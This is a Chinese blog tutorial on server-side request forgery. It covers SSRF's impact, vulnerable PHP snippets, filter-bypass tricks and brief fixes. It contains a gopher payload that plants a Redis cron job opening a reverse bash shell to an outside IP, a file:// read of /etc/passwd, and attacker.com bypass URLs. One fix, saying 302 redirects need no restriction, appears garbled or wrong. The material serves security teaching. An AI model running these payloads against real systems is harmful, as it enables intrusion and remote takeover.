WEB渗透【9】SSRF漏洞攻击与防御

目录

一、概述

二、SSRF的危害

三、漏洞利用

四、漏洞代码

六、常见的过滤与绕过

七、修复方案


一、概述

       SSRF(Server-side Request Forge, 服务端请求伪造)。
       由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

二、SSRF的危害

  1. 扫内网

  2. 向内部任意主机的任意端口发送精心构造的Payload

  3. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)

  4. 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sqli等)

  5. 利用file协议读取本地文件等

三、漏洞利用

本地利用

# dict protocol (操作Redis)
curl -vvv 'dict://127.0.0.1:6379/info'

# file protocol (任意文件读取)
curl -vvv 'file:///etc/passwd'

# gopher protocol (一键反弹Bash)
# * 注意: 链接使用单引号,避免$变量问题
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

远程利用

  • 漏洞代码testssrf.php(未作任何SSRF防御)
<?php
function curl($url){
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_HEADER, 0); 
                curl_exec($ch);
                curl_close($ch); 
}
$url = $_GET['url'];
curl($url);
?>

 1、利用file协议读取文件

2、利用dict协议查看端口开放
当端口开放的时候:

当端口未开放的时候,没有内容

3、利用gopher协议反弹shell 

四、漏洞代码

curl造成的SSRF

function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  

file_get_contents造成的SSRF

$url = $_GET['url'];
echo file_get_contents($url);

fsockopen造成的SSRF

<?php
function Getfile($host, $port, $link){
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if(!$fp){
        echo "$errstr (error number $errno) \n";
    }else{
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "HOST $host \r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $content = '';
        while(!feof($fp)){
            $contents .= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}

六、常见的过滤与绕过

常见的过滤

  1. 过滤开头不是http://xxx.com的所有链接
  2. 过滤格式为ip的链接,比如127.0.0.1
  3. 结尾必须是某个后缀

绕过方法

  1. http基础认证
    http://xxx.com@attacker.com

  2. 利用302跳转(xip.iowww.tinyrul.com
    2.1 当我们访问xip.io的子域,比如127.0.0.1.xip.io的时候,实际上会被自动重定向到127.0.0.1
    2.2 如果利用上面的方法会被检测127.0.0.1的话,可以利用www.tinyurl.com提供的服务来进行绕过

  3. 加上#或?即可

4.更改其他进制的ip

七、修复方案

修复方案:

• 限制协议为HTTP、HTTPS

• 不用限制302重定向

• 设置URL白名单或者限制内网IP

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
超全的Web渗透学习资料合集,共64篇。 web渗透: web安全原则 web渗透: web渗透测试清单 web渗透: 自动化漏洞扫描 web渗透: Google Hacking web渗透: web服务器指纹识别 web渗透: 枚举web服务器应用 web渗透: 识别web应用框架 web渗透: 配置管理测试 web渗透: 身份管理测试 web渗透: 不安全的HTTP方法 web渗透: 登录认证安全测试 web渗透: 浏览器缓存攻击测试 web渗透: 目录遍历文件包含测试 web渗透: 目录浏览漏洞测试 web渗透: 越权漏洞 web渗透: 任意文件下载 web渗透: 跨站请求伪造(CSRF) web渗透: 服务端请求伪造攻击SSRF) web渗透: 跨站脚本攻击(XSS) web渗透: HTTP Host头攻击 web渗透: SQL注入(上) web渗透: SQL注入(下) web渗透: XML注入攻击 web渗透: XXE外部实体注入 web渗透: 服务器端包含注入(SSI注入) web渗透: XPath注入 web渗透: 命令注入 web渗透: HTTP响应头拆分漏洞 web渗透: LDAP注入 web渗透: ORM注入 web渗透: Json劫持Json注入 web渗透: 宽字节注入 web渗透: 脆弱的通信加密算法 web渗透: Padding Oracle攻击 web渗透: 未加密信道发送敏感数据 web渗透: 业务逻辑数据验证 web渗透: 伪造请求 web渗透: 验证码功能缺陷 web渗透: 竞争并发漏洞 web渗透: IMAPSMTP注入 web渗透: 本地文件包含远程文件包含 web渗透: 文件上传漏洞 web渗透: web服务器控制台地址泄漏 web渗透: 报错信息测试 web渗透: 不安全的对象引用 web渗透: 基于DOM的XSS跨站 web渗透: 堆栈轨迹测试 web渗透: 常见的数据信息泄露 web渗透: web消息漏洞 web渗透: WebSockets安全测试 web渗透: 异常信息泄漏 web渗透: 防御应用程序滥用 web渗透: 客户端资源处理漏洞 web渗透: HTML注入 web渗透: Flash跨域访问漏洞 web渗透: 客户端URL重定向 web渗透: DNS域传送漏洞 web渗透: 服务器多余端口开放 web渗透: 本地存储安全 web渗透: web服务器解析漏洞 web渗透: JavaScript注入漏洞 web渗透: CSS注入 web渗透: 会话固化漏洞 web渗透: 常见的WAF绕过方法
web渗透系列教学下载共64份: 内容如下; web渗透--1--web安全原则.pdf web渗透--10--不安全的HTTP方法.pdf web渗透--11--登录认证安全测试.pdf web渗透--12--浏览器缓存攻击测试.pdf web渗透--13--目录遍历文件包含测试.pdf web渗透--14--目录浏览漏洞测试.pdf web渗透--15--越权漏洞.pdf web渗透--16--任意文件下载.pdf web渗透--17--跨站请求伪造(CSRF).pdf web渗透--18--服务端请求伪造攻击SSRF).pdf web渗透--19--跨站脚本攻击(XSS).pdf web渗透--2--web渗透测试清单.pdf web渗透--20--HTTP Host头攻击.pdf web渗透--21--SQL注入(上).pdf web渗透--22--SQL注入(下).pdf web渗透--23--XML注入攻击.pdf web渗透--24--XXE外部实体注入.pdf web渗透--25--服务器端包含注入(SSI注入).pdf web渗透--26--XPath注入.pdf web渗透--27--命令注入.pdf web渗透--28--HTTP响应头拆分漏洞.pdf web渗透--29--LDAP注入.pdf web渗透--3--自动化漏洞扫描.pdf web渗透--30--ORM注入.pdf web渗透--31--Json劫持Json注入.pdf web渗透--32--宽字节注入.pdf web渗透--33--脆弱的通信加密算法.pdf web渗透--34--Padding Oracle攻击.pdf web渗透--35--未加密信道发送敏感数据.pdf web渗透--36--业务逻辑数据验证.pdf web渗透--37--伪造请求.pdf web渗透--38--验证码功能缺陷.pdf web渗透--39--竞争并发漏洞.pdf web渗透--4--Google Hacking.pdf web渗透--40--IMAPSMTP注入.pdf web渗透--41--本地文件包含远程文件包含.pdf web渗透--42--文件上传漏洞.pdf web渗透--43--web服务器控制台地址泄漏.pdf web渗透--44--报错信息测试.pdf web渗透--45--不安全的对象引用.pdf web渗透--46--基于DOM的XSS跨站.pdf web渗透--47--堆栈轨迹测试.pdf web渗透--48--常见的数据信息泄露.pdf web渗透--49--web消息漏洞.pdf web渗透--5--web服务器指纹识别.pdf web渗透--50--WebSockets安全测试.pdf web渗透--51--异常信息泄漏.pdf web渗透--52--防御应用程序滥用.pdf web渗透--53--客户端资源处理漏洞.pdf web渗透--54--HTML注入.pdf web渗透--55--Flash跨域访问漏洞.pdf web渗透--56--客户端URL重定向.pdf web渗透--57--DNS域传送漏洞.pdf web渗透--58--服务器多余端口开放.pdf web渗透--59--本地存储安全.pdf web渗透--6--枚举web服务器应用.pdf web渗透--60--web服务器解析漏洞.pdf web渗透--61--JavaScript注入漏洞.pdf web渗透--62--CSS注入.pdf web渗透--63--会话固化漏洞.pdf web渗透--64--常见的WAF绕过方法.pdf web渗透--7--识别web应用框架.pdf web渗透--8--配置管理测试.pdf web渗透--9--身份管理测试.pdf

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值